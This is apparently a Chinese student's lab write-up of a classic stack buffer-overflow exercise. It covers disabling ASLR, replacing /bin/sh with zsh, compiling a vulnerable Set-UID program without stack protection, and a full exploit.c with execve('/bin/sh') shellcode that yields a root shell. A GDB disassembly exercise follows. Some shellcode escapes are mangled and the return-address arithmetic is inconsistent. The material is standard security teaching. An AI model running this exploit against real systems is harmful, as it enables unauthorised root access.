• 学习缓冲区溢出


    学习缓冲区溢出的意义

    • 概念解释:
      • 缓冲区溢出:程序试图向缓冲区写入超出预分配固定长度数据的情况。
      • 缓冲区溢出漏洞:由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。
      • 缓冲区溢出攻击:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。

    缓冲区溢出漏洞实验

    实验准备

    为搭建32位操作环境,方便观察汇编语句,我们进行以下操作:

    1. 输入以下三个命令安装用于编译32位C程序的工具:
    sudo apt-get update
    
    sudo apt-get install lib32z1 libc6-dev-i386
    
    sudo apt-get install lib32readline-gplv2-dev
    
    • 若执行第一条更新命令时,如出现“无法获得锁/var/lib/dpkg/lock”的情况,是因为系统中只允许有一个apt-get进程
    • 解决思路是:先看看有没有其他窗口在使用资源,正在进行更新,或者软件中心正在安装等,再将其关闭,最后重启虚拟机。
      具体步骤如下:
      • 输入“ps -aux”查找最后一列以“update”或“apt-get ”开头的进程,并记住该进程的PID;
      • 输入“sudo kill 该进程的PID”结束该进程。

    2.输入命令linux32进入32位linux环境(如图1-1),执行该命令后观察终端窗口最上方可发现已经进入32位linux环境(前后对比图如1-2所示),接着输入/bin/bash使用bash,结果如图1-3所示:

    (图1-1)

    (图1-2)

    (图1-3)

    实验步骤

    1.初始设置

    (1) 缓冲区溢出攻击的关键是猜测内存地址,所以为了方便我们对地址的猜测,我们使用sudo sysctl -w kernel.randomize_va_space=0命令类关闭“地址空间随机化”这一功能,(请注意这里是++sysctl++而不是++sysct1++)如图2-1所示:

    (图2-1)

    Ubuntu和其他一些Linux系统中,地址空间随机化来随机堆(heap)和栈(stack)的初始地址。

    • sudo sysctl -w kernel.randomize_va_space=0命令详细分析如下:
      • sysctl命令用于运行时配置内核参数,还可以设置或重新设置联网功能。
      • -w参数用于临时改变某个指定参数的值。格式为「 sysctl [-n] [-e] -w variable=value」
      • 设置全局变量 randomize_va_space 值为 0 (该值默认为1),可以让程序的栈和 mmap 映射区域从一个固定位置开始。

    为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。

    • 在这里对“shell程序”、“Set-UID程序”进行详细解释,方便大家理解:
      • shell是用户使用Unix/Linux的桥梁。shell程序是一支程序,它由输入设备读取命令,再将其转为计算机可以了解的机械码,然后执行它,即计算机用来解释你输入的命令然后决定进行何种处理的程序。
      • shell与bash的关系:Unix/Linux上常见的Shell脚本解释器有bash、sh、csh、ksh等,习惯上把它们称作一种Shell,其中bash是Linux标准默认的shell。
      • “Set-UID”:当一个具有执行权限的文件设置SetUID权限后,用户执行这个文件时将以文件所有者的身份执行。例如“passwd”命令具有SET-ID权限,所以可以作为root执行命令。这里由于shell程序的防护措施,即使某个shell被赋予了SetID权限也无法保持root权限任意执行命令。

    (2)设置zsh程序

    linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。

    • 对/bin/sh的详细介绍:
      • /bin/sh相当于 /bin/bash --posix,即使用 sh 调用执行脚本相当于打开了bash 的 POSIX 标准模式
      • 运行ls -l /bin/sh 结果如图2-2所示:

    • 根据对ls -l指令的了解,我们知道,第一个字母“l”表示该文件是一个链接文件。字母"l"是link(链接)的缩写,类似于windows下的快捷方式 ;后面的 “->" 箭头符号后面跟着的是这个链节文件所指向的文件名
      • 链节文件:分为硬链接或符号链接(软链接)两种。硬链接实际上是为文件建一个别名,链接文件和原文件实际上是同一个文件。;而软链接建立的是一个指向,即链接文件内的内容是指向原文件的指针,它们是两个文件。
      • bash 的 POSIX 标准模式:当“$0”是“sh”的时候,bash程序执行时要求下面的代码遵循一定的规范,当不符合规范的语法存在时,则会报错所以可以将“sh”理解成一种标准(POSIX),这种标准,在一定程度上保证了脚本的跨系统性(跨UNIX系统)

    为了重现“shell程序在被调用时自动放弃它们的特权”这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。命令如下:

    1. sudo su
    2. cd /bin
    3. rm sh
    4. ln -s zsh sh
    5. exit
    
    • 命令分析如下:

      • sudo su 命令缺省参数时表示“使用超级用户权限切换为root账户模式”。
      • ln命令用来为文件创件连接,默认为硬链接,加参数-s则创建符号链接,类似于Windows下创建了一个文件夹的快捷方式。结果:将zsh(源文件)链接到sh(目标文件)。
    • 运行结果如图2-3所示:

    (图2-3)

    如果是用自己的虚拟机进行实验,实验结束后一定要把sh修改回来,步骤和上述步骤相同,先进入linux32,再进入/bin/bash,输入以下命令:

    1. sudo su
    2. cd /bin
    3. rm sh
    4. ln -s dash sh
    5. exit
    

    2.shellcode

    一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode

    本次实验的shellcode就是下方代码的汇编版本“x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80”:

    #include <stdio.h>
    int main( ) {
    char *name[2];
    name[0] = ‘‘/bin/sh’’;
    name[1] = NULL;
    execve(name[0], name, NULL);
    }
    

    在64位的机器上产生32位汇编:

    gcc -m32 -g shellcode.c -o shellcode
    

    3.漏洞程序

    在“/tmp”目录下保存以下代码为“stack.c”:

    /* stack.c */
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
    char buffer[12];
    
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);//将主函数中读入的文件内容装入“buffer”
    
    return 1;
    }
    
    int main(int argc, char **argv)
    {
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");//读取一个名为“badfile”的文件
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly
    ");
    return 1;
    }
    
    • 编译该程序,并设置SET-UID:
    1. sudo su
    2. gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    3. chmod u+s stack
    4. exit
    
    • 详细解释:
      • GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制;
      • -z execstack 用于允许执行栈;
      • -m32 -g 在64位的机器上产生32位汇编。

    4.攻击程序

    • 目的:攻击刚才的漏洞程序“stack”,并通过攻击获得root权限。

    • 步骤:

      • 1.在“/tmp”目录下保存以下代码为“stack.c”:
    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[]=
    
    "x31xc0"    //xorl %eax,%eax
    "x50"        //pushl %eax
    "x68""//sh"  //pushl $0x68732f2f
    "x68""/bin"  //pushl $0x6e69622f
    "x89xe3"    //movl %esp,%ebx
    "x50"        //pushl %eax
    "x53"        //pushl %ebx
    "x89xe1"    //movl %esp,%ecx
    "x99"        //cdq
    "xb0x0b"    //movb $0x0b,%al
    "xcdx80"    //int $0x80
    ;
    
    void main(int argc, char **argv)
    {
    char buffer[517];
    FILE *badfile;
    
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    
    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
    strcpy(buffer+100,shellcode);//shellcode保存在 buffer+100 的位置
    
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
    }
    

    注意上面的代码,“x??x??x??x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。

    • 2.运行命令```gdb stack``进入调试状态后,输入“disass main”指令后运行结果如图2-4所示:

    (图2-4)

    • 3.依次输入以下命令:
    q//退出
    b *0x080484e8//在0x080484e8位置设断点
    r//运行
    i r $esp//获取str首地址
    

    运行结果如图2-5所示:

    (图2-5)

    • 4.根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd020(十六进制)+100(十进制)=0xffffd084(十六进制)。
    • 5.将exploit.c文件中的x??x??x??x?? 修改为x14xd2xffxff。
      • 解释:地址0xffffd214对应的路径为x14xd2xffxff。
    • 5.编译exploit.c程序
    gcc -m32 -o exploit exploit.c
    

    5.攻击结果

    • 先用./exploit运行攻击程序exploit,再用./stack运行漏洞程序stack,观察结:
      • 出现“段错误”,错误结果如图2-5所示:
      • 攻击成功获得root权限,利用whoami查询后发现是root。
    • 出错解决方案:重新使用gdb反汇编,计算内存地址。
    • 按上述方法操作后仍然出现段错误怎么办?

    GDB调试汇编堆栈过程课堂实践

    • 代码样例week060420155312.c:
    int g(int x){
       return x+3;
    }
    int f(int x){
        int i = 学号后两位;
       return g(x)+i;
    }
    int main(void){
       return f(8)+1;
    }
    
    
    • 命令汇总:
      • 使用“gcc -g week060420155312.c -o week0604 -m32”产生32位汇编,生成可执行文件week0604
      • gdb week0604:使用gdb调试器
      • (以下为在调试状态下的输入)b 10:在主函数处设置行断点
      • r:运行
      • disassemble:显示当前所处函数的反汇编机器码
      • i r:显示各寄存器的值
      • display /i $pc:每次执行下一条汇编语句时,均打印出当前执行的代码
      • si:执行下一条汇编语句
      • x/参数 + 栈指针的值:以参数规定的形式查看栈中某地址单元中的值。eg:x/u 0xffffcfe8;x/2a 0xffffcfe0

    f函数执行的整个过程中,各寄存器和栈中的变化情况如下图所示:

    参考资料

    1.linux ls -l 详解
    2.bash的POSIX标准
    3.ln命令
    4.GDB调试汇编堆栈过程分析

  • 相关阅读:
    socket发送文字、图片、文件---基于python实现
    python socket详解
    loadrunner socket协议问题归纳(6)
    Hash算法解决冲突的四种方法
    while循环 运算符和编码
    python初识
    js中forEach,for in,for of循环的用法详解
    设计模式之MVC和MVT
    mac 下的 tree 命令 终端展示你的目录树结构
    Mac查看进程
  • 原文地址:https://www.cnblogs.com/zjy1997/p/7726723.html
Copyright © 2020-2023  润新知